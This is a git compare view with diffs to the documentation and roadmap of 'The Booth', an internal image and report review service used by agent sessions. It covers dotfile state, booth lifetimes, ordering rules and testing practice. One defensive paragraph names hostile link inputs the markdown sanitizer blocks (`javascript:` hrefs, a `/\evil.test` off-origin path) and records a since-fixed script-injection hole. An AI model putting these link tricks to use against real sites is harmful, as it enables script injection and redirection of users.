Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
aa3e34a648 | ||
|
|
f104da59e5 | ||
|
|
72d6c61629 | ||
|
|
62c0c9b638 | ||
|
|
213071b6ce | ||
|
|
377e652670 | ||
|
|
a22a00b82e | ||
|
|
0233ca64fb | ||
|
|
9a97cbdf0c | ||
|
|
1080ec1270 | ||
|
|
7143fae6c7 | ||
|
|
d4f64fd7ec | ||
|
|
ec807fe41b | ||
|
|
1d6821b732 | ||
|
|
44b80e6d9a | ||
|
|
54f3531833 | ||
|
|
09071dcb65 | ||
|
|
190a75a0e1 | ||
|
|
50bfc7b4ec | ||
|
|
34ac1683ee | ||
|
|
1a59242709 | ||
|
|
225ba32209 | ||
|
|
92c774e105 | ||
|
|
d54bb04414 | ||
|
|
64b403f7eb | ||
|
|
8633b1dded | ||
|
|
cf08ae3f33 | ||
|
|
f8d136a521 | ||
|
|
23f1bdb41f | ||
|
|
8c7fe77841 | ||
|
|
5d785fe3c4 | ||
|
|
47b39bca53 | ||
|
|
d5ead3f613 | ||
|
|
8a78a9bd1d | ||
|
|
7d4a26f486 | ||
|
|
fde082e733 | ||
|
|
7c879e6038 | ||
|
|
7151a45ec2 | ||
|
|
0781aa5ee5 | ||
|
|
1d31ab05de | ||
|
|
6880ab3059 | ||
|
|
c19d8c9718 | ||
|
|
c1f5543b77 | ||
|
|
64f64889a2 | ||
|
|
c2b1454358 | ||
|
|
4cfbce5109 | ||
|
|
cce6a20abe | ||
|
|
b92b00215f | ||
|
|
1558a7fa07 | ||
|
|
436d234ca0 | ||
|
|
ca0641f55b | ||
|
|
20f1cb8594 | ||
|
|
75623c7dbc | ||
|
|
37d859c0fd | ||
|
|
5ded5ffe55 | ||
|
|
091f4b5f2d | ||
|
|
cecd877f60 | ||
|
|
a9e71108a7 | ||
|
|
c1108a1966 | ||
|
|
65e7dc2a4e | ||
|
|
995e7b9686 | ||
|
|
704e8cd809 | ||
|
|
70bfff15cf | ||
|
|
d40e8fd4a6 | ||
|
|
ff35023377 | ||
|
|
9aa91d5dc7 | ||
|
|
18d599dd2a | ||
|
|
d5e23c7d5f | ||
|
|
39a3cb2262 | ||
|
|
167f2657c5 | ||
|
|
447a9b67e9 | ||
|
|
f43a41fb49 | ||
|
|
225570623d | ||
|
|
1ddd1c5654 | ||
|
|
77833dc6d4 | ||
|
|
fa5d46443d | ||
|
|
881c7f5df3 | ||
|
|
2511aab3d6 | ||
|
|
8acd10a8d2 | ||
|
|
f8cb1b29af | ||
|
|
50f88a3e5e | ||
|
|
ce27b06f32 | ||
|
|
b9750d221a | ||
|
|
277554a3f7 | ||
|
|
7a4d3fcbf8 | ||
|
|
ea44c18d42 | ||
|
|
051599a30e | ||
|
|
bf55364920 | ||
|
|
e8e49ceb14 | ||
|
|
744fa5263e | ||
|
|
b46ac02be2 | ||
|
|
f87976b54d | ||
|
|
af57933255 | ||
|
|
6ba5a83f81 | ||
|
|
dfd806aa9f | ||
|
|
06d83dfd2f | ||
|
|
1826d19a1f | ||
|
|
397ea89795 | ||
|
|
6042d10bf3 | ||
|
|
33e7149e24 | ||
|
|
c47b3dba7e | ||
|
|
2f6a0ee821 | ||
|
|
82ac7c44e4 | ||
|
|
8a18dd13ab | ||
|
|
3126deca00 | ||
|
|
bf351a26d1 | ||
|
|
2f85692e95 | ||
|
|
6938d21085 | ||
|
|
8bf5343049 | ||
|
|
a306e2dc6d | ||
|
|
b50f41bb36 | ||
|
|
e15ee2c4ab | ||
|
|
400e254da6 | ||
|
|
1b394dde18 | ||
|
|
e702be4e1a | ||
|
|
c5ac49356f | ||
|
|
3296a868fa | ||
|
|
8cb21193dc | ||
|
|
e3853e2692 | ||
|
|
32e3ed65e1 | ||
|
|
8a7af3eb08 | ||
|
|
0a2bb1d26c | ||
|
|
8c7f2127eb | ||
|
|
1c3ce5ddb5 | ||
|
|
91fd8bc69d | ||
|
|
7996fbd597 | ||
|
|
5c20e2f4d5 | ||
|
|
87e2c5364c | ||
|
|
42ea67f33f | ||
|
|
8f81d8f9d0 | ||
|
|
c75d7a2797 | ||
|
|
c3a97c1b64 | ||
|
|
d37b81ab9f | ||
|
|
95beede3c3 | ||
|
|
f3193fb054 | ||
|
|
c015a917ee | ||
|
|
fac83de8f4 | ||
|
|
aa61fcf5fd | ||
|
|
c9a175ba4a | ||
|
|
75dca53483 | ||
|
|
67ab7d1cd5 | ||
|
|
ac35f2441f | ||
|
|
a48ef83ef5 | ||
|
|
109190b0d6 | ||
|
|
026a1fc392 | ||
|
|
70fb15886b | ||
|
|
a0448bdc24 |
@@ -6,3 +6,7 @@ __pycache__/
|
||||
booth-data/
|
||||
uv.lock
|
||||
graphify-out/
|
||||
|
||||
# scripts/mutation_check.py crash marker — never committed
|
||||
.mutation-inflight
|
||||
.mutation-lock
|
||||
|
||||
@@ -39,7 +39,7 @@ lags the code defeats its own purpose.
|
||||
|
||||
These are the ones a casual change breaks silently. Each has a test.
|
||||
|
||||
### 1. `links.py`, `asks.py` and `marks.py` are stdlib-only, on purpose
|
||||
### 1. The modules `scripts/booth` imports are stdlib-only, on purpose
|
||||
|
||||
`scripts/booth` — the CLI every fleet session uses — imports them directly:
|
||||
|
||||
@@ -48,26 +48,68 @@ BOOTH_SRC=… python3 -c 'import sys; sys.path.insert(0, …); from booth.marks
|
||||
```
|
||||
|
||||
It runs under the system `python3` with **no venv**. A single third-party
|
||||
import in any of the three breaks `booth ask` / `booth marks` / `booth answer` /
|
||||
`booth unlink` on every host, and the failure surfaces in an agent's session,
|
||||
not in ours.
|
||||
import in any of them breaks `booth ask` / `booth marks` / `booth answer` /
|
||||
`booth unlink` / `booth blur` on every host, and the failure surfaces in an
|
||||
agent's session, not in ours.
|
||||
|
||||
`items.py` and `app.py` are free to import what they like. Those three are not.
|
||||
`test_stdlib_only` walks each module's AST imports and asserts it — the CLI
|
||||
imports through a `python3 -c` heredoc that no AST extractor can see, so that
|
||||
test is the only thing standing here.
|
||||
The set is `marks`, `asks`, `links`, `manifest`, `benches`, `blur` and
|
||||
`__init__` (which runs before every one of them). **The list of record is
|
||||
`test_stdlib_only`'s parametrize in `tests/test_marks.py`**, not this
|
||||
paragraph. `items.py` and `app.py` are free to import what they like; those are
|
||||
not. `test_stdlib_only` walks each module's AST imports and asserts it — the
|
||||
CLI imports through a `python3 -c` heredoc that no AST extractor can see, so
|
||||
that test is the only thing standing here. A new module the CLI imports goes on
|
||||
that list in the same commit.
|
||||
|
||||
### 2. The filesystem is the state
|
||||
|
||||
No database. `ls ~/booth-data` tells you everything the service knows.
|
||||
|
||||
Per-booth operator state is a **dotfile inside the booth**: `.forever` (keep),
|
||||
`.blurred` (one rel per line), `.marks.json` + `.marks.lock` (judgment), `.pins`
|
||||
(link-board pin ids), `.uploaded` (upload-booth marker). `booth_items()` skips `name.startswith(".")`, so a new
|
||||
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred.json`
|
||||
(the per-item blur set, a JSON ARRAY — see below; the legacy `.blurred` is
|
||||
read-only), `.seen` (R2: rels looked at full size, a JSON ARRAY), `.blurbooth` (the whole booth fogged — a MARKER like `.forever`, not
|
||||
JSON, because a boolean has no rels to round-trip), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
|
||||
ids), `.uploaded` (upload-booth marker). `booth_items()` skips `name.startswith(".")`, so a new
|
||||
dotfile costs nothing in item counts, galleries or zips. That skip is why the
|
||||
dotfile is the right shape for new operator state — use it rather than
|
||||
inventing a sidecar-per-item.
|
||||
|
||||
⚠ **A dotfile that holds rels is a JSON array, opened `O_NOFOLLOW |
|
||||
O_NONBLOCK` with an `S_ISREG` check and a size cap.** A rel may carry a leading
|
||||
space or a newline, and line-stripped storage does not round-trip it: `.blurred`
|
||||
was one stripped rel per line, and blurring `" a.png"` blurred `a.png` instead.
|
||||
`.seen` was written as JSON for exactly that reason (design-dev, R2), and the
|
||||
blur set now matches it in `.blurred.json` (`booth/blur.py`). The open flags
|
||||
mean a planted symlink is refused and a FIFO cannot hang the read, which is the
|
||||
outage in `persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md`. **Any new
|
||||
dotfile inherits that shape.**
|
||||
|
||||
⚠ **A format change gets a NEW NAME, never a sniffed file.** The first cut of
|
||||
the blur fix wrote JSON into `.blurred` and guessed the format from the bytes;
|
||||
a legacy file whose one line is an item literally named `["a.png"]` parses as
|
||||
JSON and blurs the neighbour, the bug being fixed (heid bug-hunt, 3 of 3). So
|
||||
`.blurred.json` is JSON only, the legacy `.blurred` is lines only and read only
|
||||
while `.blurred.json` is absent, and the first write retires it. Do not remove
|
||||
that legacy read while a line-format file can still exist.
|
||||
|
||||
**Reads lenient, writes strict; and a writer is judged by its reader.** The
|
||||
renderer's `read_blurred` turns anything it cannot read into an empty set,
|
||||
because a damaged file must cost the blur and never the page. The writer
|
||||
builds on `_load`, the same parse, which REFUSES instead: a regular file it
|
||||
cannot read (a permission, over the cap, not JSON) is never overwritten with a
|
||||
set that forgot what it held. That is the `.marks.json` wipe again, and the
|
||||
blur writer shipped without the guard for a night. After writing,
|
||||
`set_blurred` re-reads and raises `BlurUnwritable` unless the reader returns
|
||||
exactly the set asked for. The route answers either refusal with 409, never
|
||||
500.
|
||||
|
||||
**A dotfile with two writers has ONE implementation of the writer, and one
|
||||
predicate for its keys.** The blur set is written by the service and by `booth
|
||||
blur`; both call `booth.blur.set_blurred`, and both ask `check_rel` what an
|
||||
item path is. The CLI used to keep a grep/printf writer and a `*..*` guard of
|
||||
its own, which refused `a..b.png` where the route accepted it.
|
||||
|
||||
### 3. One resolver for item facts
|
||||
|
||||
`booth.items.booth_items(booth)` is the only place a file is classified, a
|
||||
@@ -84,6 +126,12 @@ doing so, never resolved the caption — the operator's "zoomed images lose
|
||||
their annotations" bug. It was not a rendering bug; it was three readers of one
|
||||
truth.
|
||||
|
||||
**U3 extended this to the verbatim path.** A booth's own `index.html` now gets
|
||||
its chrome from `/_booth/embed.js`, which *places* server-rendered fragments and
|
||||
never builds one. The fragments come from the same `_ask_inline.html` macros the
|
||||
gallery page uses, handed over `/b/<name>/embed.json`. A second renderer in
|
||||
JavaScript would be the same bug in a new language.
|
||||
|
||||
### 4. Re-export, don't move-and-break
|
||||
|
||||
Names that moved from `app.py` to `items.py` (`classify`, `doc_kind`,
|
||||
@@ -103,6 +151,15 @@ a crash mid-write cannot truncate a file into a shorter — and therefore quiete
|
||||
template escapes it inside `<pre>`, and pre-escaping here double-encodes under
|
||||
Jinja autoescape.
|
||||
|
||||
⚠ **The markdown case is the one `|safe` render in the repo, so it carries its
|
||||
own escaping.** Raw HTML in a doc is escaped to text (the block and inline HTML
|
||||
processors are deregistered), and every link href goes through
|
||||
`links.is_safe_href` after browser-style decoding, where `javascript:` is
|
||||
`javascript:` (and a backslash reads as a slash, so `/\evil.test` is
|
||||
off-origin). A render that raises falls back to raw text, which the template
|
||||
escapes. Until 2026-09-28 a posted `.md` could run script on the Booth's
|
||||
origin. Anything else that renders author text `|safe` inherits these rules.
|
||||
|
||||
### 6. Every ordered collection has a stated, deterministic order
|
||||
|
||||
Operator directive, 2026-09-21. Not "usually stable" and not "whatever `rglob`
|
||||
@@ -121,9 +178,14 @@ the operator's judgment being quietly misfiled.
|
||||
|
||||
Current rules: items `sorted(rel)`; the zoom ring is that order filtered to
|
||||
images; captions resolve over a sorted scan; marks `(created, id)`; legacy
|
||||
import `(mtime, name)`; link rows pinned-then-newest. `ROADMAP.md` carries the
|
||||
table and the two places still undecided (U7 sections and compare pairing, U6
|
||||
bench listing).
|
||||
import `(mtime, name)`; link rows pinned-then-newest; a verbatim report's embed
|
||||
anchors in document order, its tail in payload order, its questions in
|
||||
declaration order. `ROADMAP.md` carries the table and the two places still
|
||||
undecided (U7 sections and compare pairing, U6 bench listing).
|
||||
|
||||
U3's rows are the first that bind **across a language boundary** — decided in
|
||||
Python, honoured in JavaScript. A string assertion cannot see that, which is
|
||||
why `tests/test_embed_browser.py` exists.
|
||||
|
||||
When you add an ordered surface, state its rule in the docstring. If you cannot
|
||||
state it in one line, it does not have one.
|
||||
@@ -178,8 +240,15 @@ one caused an outage.
|
||||
is that template work needs a restart to see, and that price is the point.
|
||||
`test_templates_do_not_hot_reload_from_disk` holds the line.
|
||||
|
||||
**So: after ANY edit here — Python or template — the live service is stale until
|
||||
you restart it.** If you are touching this repo while the operator may be using
|
||||
3. **`booth/static/embed.js` is the third thing that would have hot-reloaded,
|
||||
and it does not.** U3 gave the service a static asset living in the
|
||||
deployment root; it is read ONCE in `create_app` and served from memory with
|
||||
an ETag over its content, for exactly the reason above. Same rule, same test
|
||||
shape (`test_embed_js_does_not_hot_reload_from_disk`). Anything else this
|
||||
repo learns to serve from disk inherits the rule — read it at startup.
|
||||
|
||||
**So: after ANY edit here — Python, template or static asset — the live service
|
||||
is stale until you restart it.** If you are touching this repo while the operator may be using
|
||||
the service, either restart promptly or expect him to be looking at the old
|
||||
version. Never leave the tree in a state where a restart would 500.
|
||||
|
||||
@@ -196,6 +265,41 @@ curl -s localhost:8090/healthz # the live service (systemd --user)
|
||||
systemctl --user restart booth.service # after a code change, to see it live
|
||||
```
|
||||
|
||||
⚠ **A GET of a booth page, its marks page or a review page RECORDS A LOOK**
|
||||
(`.viewed`, and `.seen` for a review page). A post-deploy check that fetches
|
||||
every booth on `:8090` tells the service the operator looked at all of them at
|
||||
once: it empties "new since you looked", marks items seen on the tape, and
|
||||
pushes every expiry out a day. Two sessions did exactly that on 2026-09-23.
|
||||
Check the live service with requests that record nothing (`/healthz`, the Desk
|
||||
at `/`, `?thumb=1` file fetches), and check pages against a COPY of the data
|
||||
(`rsync` it into the scratchpad, `TestClient(create_app(copy))`).
|
||||
|
||||
```sh
|
||||
.venv/bin/python scripts/mutation_check.py # prove the falsifiers still falsify
|
||||
```
|
||||
|
||||
**A green test is not evidence.** A test that has never seen its own defeating
|
||||
change may pass under it too — forbidding nothing while reading as though it
|
||||
forbids something. This repo shipped that three times before the tool existed
|
||||
(twice in one session, once an hour after writing the entry about it). Tables
|
||||
live in `tests/mutations/*.toml`, one per unit, committed so a unit's proofs are
|
||||
an artifact rather than scrollback; adding a unit means adding a file, never
|
||||
editing the script. `tests/test_mutation_check.py` holds the tool's own positive
|
||||
and negative controls, because an instrument that only ever sees unknowns cannot
|
||||
tell "nothing wrong" from "I am blind".
|
||||
|
||||
When you add a `*Falsifiable:*` line to a contract, add its row to the table and
|
||||
run it. A falsifier nobody has run is a claim, not a test.
|
||||
|
||||
`tests/test_embed_browser.py` drives a real Chromium against a real uvicorn on
|
||||
an ephemeral port — the only place U3's placement and `form=` binding can be
|
||||
observed at all. Browsers are NOT downloaded per project; they live box-wide in
|
||||
`/opt/ms-playwright`. The file **skips rather than fails** when playwright or a
|
||||
usable browser is missing, so the suite stays green anywhere. If those tests
|
||||
start skipping on this box, the pinned `playwright>=1.60,<1.63` in
|
||||
`pyproject.toml` has drifted past the shared store — read the comment there
|
||||
before raising the bound.
|
||||
|
||||
`booth.service` is a user unit installed to `~/.config/systemd/user/`. The repo
|
||||
copy is the source; edits there need a `daemon-reload`.
|
||||
|
||||
|
||||
@@ -15,16 +15,18 @@ filesystem *is* the state.
|
||||
- **Live:** http://10.100.10.50:8090/ (nh3-dev) · linked from Homepage → *Apps → The Booth*
|
||||
- **Data dir:** `~/booth-data/` on nh3-dev (one subfolder per booth)
|
||||
- **TTL:** 24h, measured from the newest mtime in a booth's tree (it lives while
|
||||
you're touching it, self-destructs 24h after you stop)
|
||||
you're touching it, self-destructs 24h after you stop). Two things hold a booth
|
||||
open past that: the `.forever` sentinel, and **an unanswered question** — see
|
||||
*Lifetime* below. **Opening a booth page is activity**; polling it is not.
|
||||
|
||||
## How a session posts
|
||||
|
||||
A booth is **just a folder** under the data dir. Three ways, cheapest first:
|
||||
|
||||
```bash
|
||||
# 1. On nh3-dev — the helper (services/booth/scripts/booth):
|
||||
booth add my-run out/a.png out/b.png # creates booth + copies, prints URL
|
||||
booth new my-run # empty booth, then cp/mv into ~/booth-data/my-run/
|
||||
# 1. On nh3-dev — the helper (scripts/booth):
|
||||
booth add my-run out/a.png out/b.png --why "pick the denoiser, v3 on the left"
|
||||
booth new my-run --why "..." # empty booth, then cp/mv into ~/booth-data/my-run/
|
||||
booth url my-run # just print the URL
|
||||
booth ls # list booths
|
||||
booth rm my-run # wipe now (TTL would anyway)
|
||||
@@ -39,6 +41,25 @@ rsync -a ./out/ nh3-dev:booth-data/my-run/
|
||||
|
||||
Then hand the operator `http://10.100.10.50:8090/b/my-run/`.
|
||||
|
||||
### Say what it is — `--why`
|
||||
|
||||
**`--why` is one line telling the operator what he is looking at and why.** It
|
||||
lands on the index card and on the booth page next to your handle (taken from
|
||||
`$ALTHING_HANDLE`), stored as `.booth.json` in the booth.
|
||||
|
||||
It is optional and nothing breaks without it — a booth with no announcement
|
||||
renders as `unannounced`, which is also what every booth created by `rsync` or
|
||||
a bare `mkdir` looks like. But a booth that cannot say what it is has no way to
|
||||
ask for attention except by posting its URL somewhere else, and that is exactly
|
||||
how the link board ended up 69% dead rows. **The booth is the place to say it.**
|
||||
|
||||
```bash
|
||||
booth add r18-ab out/*.png --why "which denoiser — v3 left, v4 right" --title "R18 A/B"
|
||||
```
|
||||
|
||||
A second `new` or `add` on the same booth updates the why and keeps the
|
||||
original creation stamp: the booth appeared once.
|
||||
|
||||
## Checking that controls can actually be clicked
|
||||
|
||||
```bash
|
||||
@@ -140,7 +161,46 @@ is exactly why the direct `×` was worth adding.
|
||||
an ephemeral booth could only be kept from a shell. The `/keep` route and the
|
||||
CLI verb both already existed; only the button was missing.
|
||||
|
||||
## Kept boards — the one exception to the 24h rule
|
||||
## Lifetime — derived, not declared
|
||||
|
||||
A booth is in exactly one of three states, and only the first is a button you
|
||||
press:
|
||||
|
||||
| state | what puts it there | swept? |
|
||||
|---|---|---|
|
||||
| **kept** | you pressed `keep` / dropped `.forever` | never |
|
||||
| **held** | an **unanswered pick**, or a `.marks.json` the service cannot read | not while that holds |
|
||||
| **ephemeral** | everything else | 24h after the last activity |
|
||||
|
||||
**An open question holds its own booth.** A session that runs `booth ask` does
|
||||
not also need to `keep` the booth — the booth cannot be swept while the operator
|
||||
still owes it an answer, and it is released automatically when he answers. A
|
||||
*partially* answered multi-question pick still counts as open, so a review in
|
||||
flight is never swept out from under him. The index card and the booth header
|
||||
say `held until answered` where the countdown would be, so a booth that has
|
||||
stopped counting down always tells you why.
|
||||
|
||||
**Viewing is activity.** A deliberate GET of a booth's own page — the gallery, a
|
||||
verbatim report, the zoom view, the marks page, a zip download — resets the
|
||||
clock. If the operator is still looking at it, it is still alive. Browsing the
|
||||
index does **not** count, and neither does a session polling `marks.json` or
|
||||
`booth marks --wait`: machine reads are deliberately excluded, so an agent
|
||||
cannot hold its own booth open by waiting on it.
|
||||
|
||||
**A held booth is still yours to delete.** The hold is protection from the
|
||||
timer, never from you: `booth rm`, the UI ×, and `DELETE /b/<name>` all work
|
||||
exactly as before. `sweep_once` is the only thing that honours a hold, exactly
|
||||
as it is the only thing that honours `.forever`.
|
||||
|
||||
**Why this exists:** `.forever` used to be the only way to say three different
|
||||
things — "this is durable", "I haven't answered yet", and "I'm still looking at
|
||||
it" — and the measurement showed it carrying all three. On 2026-09-22, 17 of 24
|
||||
live booths (70%) held the sentinel, up from 54% the day before; three of the
|
||||
four booths in the fleet awaiting an answer had been pinned by hand as well.
|
||||
Only the first meaning is what `keep` means. The other two the service already
|
||||
knew and did not consult.
|
||||
|
||||
### Kept boards — the explicit pin
|
||||
|
||||
A booth containing a **`.forever`** dotfile is **never swept**, and renders in
|
||||
its own **Kept** lane at the top of the index (blue top edge, `★ kept` badge, no
|
||||
@@ -149,6 +209,7 @@ still ephemeral, so nobody inherits a cleanup chore they didn't ask for.
|
||||
|
||||
```bash
|
||||
booth keep my-board # drop the sentinel — exempt from the sweep, forever
|
||||
# (NOT for "waiting on an answer" — the pick holds it)
|
||||
booth unkeep my-board # release the pin — the board rejoins the sweep
|
||||
booth rm my-board # delete it NOW (works on kept boards; says so when it was kept)
|
||||
|
||||
@@ -419,11 +480,10 @@ wipe it from there. Release is reversible — press keep again and nothing was
|
||||
lost. From the CLI, `booth rm <name>` deletes a kept board immediately and
|
||||
tells you it was kept.
|
||||
|
||||
**Do not "unkeep and let it expire."** Removing the sentinel *bumps the booth
|
||||
directory's mtime*, and a booth's age is the newest mtime in its tree — so a
|
||||
released board's clock **resets** and it survives another full TTL.
|
||||
Unkeep-and-wait is a 24-hour delay, not a delete. Use the × or `booth rm` when
|
||||
you mean now.
|
||||
**Do not "unkeep and let it expire."** **Releasing a board is activity** — you
|
||||
just touched it — so a released board's clock **resets** and it survives another
|
||||
full TTL. Unkeep-and-wait is a 24-hour delay, not a delete. Use the × or
|
||||
`booth rm` when you mean now.
|
||||
|
||||
## Ops
|
||||
|
||||
|
||||
+150
-20
@@ -1,7 +1,23 @@
|
||||
# The Booth — roadmap
|
||||
|
||||
Design: [`docs/design/information-architecture.md`](docs/design/information-architecture.md).
|
||||
Current version: `0.2.1` (U1 + U2 landed; extracted from eshpfi 2026-09-21).
|
||||
Current version: `1.0.0b1` (**U1 through U7 landed**; extracted from eshpfi
|
||||
2026-09-21).
|
||||
|
||||
⚠ **THE BETA'S PREMISE IS SUPERSEDED AND THE TAG CANNOT BE UNSAID.**
|
||||
`v1.0.0b1` was cut 2026-09-22 promising "feature-complete, no new features, the
|
||||
remaining work is bugs." On 2026-09-23 the operator ruled a flow redesign and
|
||||
compare mode into the arc, which are emphatically new features. **The tag stays
|
||||
as written** — it is an immutable record of what was believed at the time, not a
|
||||
claim about now — and no further pre-release is cut until the arc lands.
|
||||
Dropping back to an alpha is not available: `1.0.0a2` sorts BELOW `1.0.0b1`, and
|
||||
versions do not go backwards.
|
||||
|
||||
🛑 **RULED 2026-09-23: NO `1.0.0` YET.** Verbatim: *"no v1.0 yet."* The tag
|
||||
stays at `1.0.0b1`, no further pre-release is cut until the arc lands, and the
|
||||
arc now includes the flow redesign, compare mode and the Desk revisions still in
|
||||
flight. Do not cut a release because the suite is green and the roadmap looks
|
||||
complete — it has looked complete twice already.
|
||||
|
||||
## v1 target
|
||||
|
||||
@@ -12,18 +28,52 @@ defect — not a wish. The measurements are in the IA doc.
|
||||
|---|---|---|---|
|
||||
| 1 | ~~**One item record**~~ — **landed `ce598b3`** | captions never reach the zoom view (never sent, not lost) | U1 |
|
||||
| 2 | ~~**Marks**~~ — **landed `c7f9437`, released `v0.2.0`** | 5 mechanisms for 1 job; operator→session loop runs through chat | U2 |
|
||||
| 3 | **Declared embed seam** — `/_booth/embed.js`, chrome mounts via DOM | 6 regexes injected into arbitrary author HTML, load-bearing for asks | U3 |
|
||||
| 4 | **Derived lifetime** — open marks pin; viewing is activity | 54% of booths on the `.forever` escape hatch | U4 |
|
||||
| 5 | **Self-announcing booths** — `.booth.json`, provenance on the index | job 5 had no home, so it lived on the link board as 145 dead rows | U5 |
|
||||
| 6 | **Benches** — registry, identity, enforced rule, migration | 69% link-board rot; the same bench posted 5× | U6 |
|
||||
| 7 | **Navigation at 270 items** — sections, rail, filters, grid keyboard | one flat wall; subfolder structure discarded at render | U7 |
|
||||
| 3 | ~~**Declared embed seam**~~ — **landed `87e2c53`, released `v0.5.0`** | 6 regexes injected into arbitrary author HTML, load-bearing for asks | U3 |
|
||||
| 4 | ~~**Derived lifetime**~~ — **landed `c3a97c1`, released `v0.4.0`** | 70% of booths on the `.forever` escape hatch (54% when first counted) | U4 |
|
||||
| 5 | ~~**Self-announcing booths**~~ — **landed `c015a91`, released `v0.3.0`** | job 5 had no home, so it lived on the link board as 145 dead rows | U5 |
|
||||
| 6 | ~~**Benches**~~ — **landed `1c3ce5d`, released `v0.6.0`** | 69% link-board rot (re-measured: 178 booth rows + 8 bench re-posts) | U6 |
|
||||
| 7 | ~~**Navigation**~~ — ~~sections~~ **filename groups**, rail, filters, grid keyboard — **landed, unreleased** | one flat wall; 0 of 11 galleries have subfolders, so grouping comes from the filename | U7 |
|
||||
|
||||
Ordering is dependency-driven, not priority-driven: **U1 → U2 → {U3, U4, U5} →
|
||||
U7**, with **U6 independent** of all of them (different storage, different
|
||||
surface) and therefore the safest thing to land first or in parallel.
|
||||
|
||||
**U1 and U2 are landed**, which unblocks U3, U4 and U5 — all three read marks.
|
||||
**U5 is next** (operator, 2026-09-21). U6 remains independent and unstarted.
|
||||
**ALL SEVEN UNITS ARE LANDED.** U7 closed last; its only dependency was
|
||||
`{U3, U4, U5}` and that closed with U3.
|
||||
|
||||
⚠ **What U7 actually shipped is not what this row first described, and the
|
||||
difference is measured.** Sections were dropped for filename-prefix groups
|
||||
(operator-ratified 2026-09-22) because zero of eleven gallery booths have a
|
||||
subdirectory. Then the *grouping rule itself* changed at implementation: the
|
||||
contract's `strip a trailing digit run` yields 24 groups for `sindra-bakeoff`'s
|
||||
40 images and 27 for `sindra`'s 30 — a rail with a row per tile — because it
|
||||
keys on the end of the stem, where the instance number lives. The shipped rule
|
||||
keys on the **first separator-delimited segment**, where the family lives, and
|
||||
gives 4 and 2. The full re-measurement across all 17 live booths is in
|
||||
`docs/contracts/u7_navigation.contract.md`.
|
||||
|
||||
**The v1 target is met.** What remains is a release decision the operator owns:
|
||||
cut `1.0`, or take a `0.7.0` staging release first. Nothing in the code is
|
||||
waiting on it.
|
||||
|
||||
**U5's adoption is a measured prediction, not a finished result**, and it is
|
||||
TWO predictions rather than one. The operator declined a fleetwide announcement
|
||||
so that adoption could be told apart from design; within fifty minutes of the
|
||||
deploy a peer that had been told nothing (`comfy-dev`) created a booth and it
|
||||
announced itself with a handle and an empty `why`. That is the split:
|
||||
|
||||
- **The handle rides for free.** It is written by `booth new` and `booth add`,
|
||||
so every existing caller starts announcing without learning anything.
|
||||
- **The `why` has to be learned.** It needs someone to know the flag exists.
|
||||
|
||||
Both get re-measured on **2026-09-29**:
|
||||
|
||||
find ~/booth-data -maxdepth 2 -name .booth.json | wc -l # free
|
||||
grep -l '"why": "[^"]' ~/booth-data/*/.booth.json | wc -l # learned
|
||||
|
||||
A high first count with a near-zero second is the predicted shape of "nobody was
|
||||
told" — an adoption failure fixed by announcing, which is a different thing from
|
||||
nobody wanting it. Same instrument as U4's `.forever` prediction below.
|
||||
|
||||
### Cross-cutting invariant — deterministic order, everywhere
|
||||
|
||||
@@ -48,16 +98,53 @@ Where it already binds, and what the rule is in each case:
|
||||
| collection | rule |
|
||||
|---|---|
|
||||
| items in a booth | `sorted(rel)` — byte order over the booth-relative path (U1 INV-3) |
|
||||
| the zoom prev/next ring | the item order, filtered to images — same sequence, one source |
|
||||
| the review prev/next ring | the item order, **filtered to media** — image, video and audio (`review_chain`, R2). Supersedes `image_chain`, which stays importable and unchanged for its other callers |
|
||||
| an item's ordinal (`#NN`) | its position in `sorted(rel)` — **counted across ALL items, so `#07` is the same tile under every filter.** This is what makes the operator's "the third one" mean one thing, which the filters had quietly broken (R2) |
|
||||
| the filmstrip and the tape | the review ring |
|
||||
| the flag tray | **by ordinal** — the tray reads in the same direction as the grid (R2). The notes list keeps `(created, id)` |
|
||||
| the Desk's sections | fixed: needs you → new since you looked → everything else (R2) |
|
||||
| within *needs you* | `(open_since, name)` |
|
||||
| within *new since you looked* | `(-landed_at, name)` |
|
||||
| within *everything else* | `(-landed_at, name)`: last updated first, the date each row shows. Was `list_booths`' activity order, which counted a look (operator, 2026-09-23) |
|
||||
| the Desk's bookmarks column | `order_for_display` — pinned first, then newest |
|
||||
| caption sidecar resolution | sorted scan, so two media files sharing a stem resolve the same way every time (a real non-determinism U1 removed) |
|
||||
| marks in a booth | `(created, id)` — time, with the id as tie-break so two marks written in the same second cannot swap |
|
||||
| legacy ask import | `(mtime, name)`, which is the order `list_asks` gave them |
|
||||
| link board rows | pinned first, then newest-first |
|
||||
| a booth's announcement | not a collection — one flat record per booth, nothing to order (U5) |
|
||||
| **groups among themselves** | **the position of each group's first member in the rendered sequence** — `sorted(rel)` narrowed by the filter, never re-sorted. Walking the rendered list once into an insertion-ordered dict IS the rule, so there is no second sort to drift from it (U7) |
|
||||
| **items within a group** | not a separate order — a group is a label on a tile, not a container. The grid stays `sorted(rel)` and groups interleave in it freely (U7) |
|
||||
| the bench registry | `(state rank, name casefolded, id)` — live before promoted before retired, then alphabetical, with the id as a TOTAL tie-break so two benches sharing a name cannot swap (U6) |
|
||||
| the link board's dead marker | not an order — a per-row stamp read from the existing `order_for_display` sequence, so marking cannot move a row (U6) |
|
||||
| embed anchors in a verbatim report | **document order** — what `querySelectorAll` yields, so the author's markup decides (U3) |
|
||||
| the embed tail (fragments the author did not place) | **payload order**, which is the marks order `(created, id)` — one rule, whether a fragment lands at an anchor or at the end (U3) |
|
||||
| questions within a pick | declaration order, in the payload's `questions` LIST — carried by the format rather than by object-key insertion order (U3) |
|
||||
| the compare filmstrip | **the compare ring**: the review ring (item order, media only) less any rel compare cannot open, so no strip link offers a pair that 404s (r3) |
|
||||
| compare stepping | along the compare ring, modulo its length; linked moves both sides one place and keeps their distance, unlinked moves the active side only (r3) |
|
||||
|
||||
Where it is still to be decided, and must be before the unit ships: **U7's
|
||||
section ordering and its compare pairing** (sections need a stated order among
|
||||
themselves, not just within; pairing by filename needs a rule for what happens
|
||||
to an unpaired file), and **U6's bench listing**.
|
||||
U3's three rows are the first case where the rule binds across a language
|
||||
boundary: the order is decided in Python and honoured in JavaScript, and a
|
||||
browser test asserts it rather than a string assertion that could not see it.
|
||||
|
||||
U4 added no ordered collection — a booth's lifetime is one state per booth,
|
||||
not a sequence — so the rule above did not need a new row. The three lifetime
|
||||
surfaces (index card, booth header, marks page) render through ONE macro
|
||||
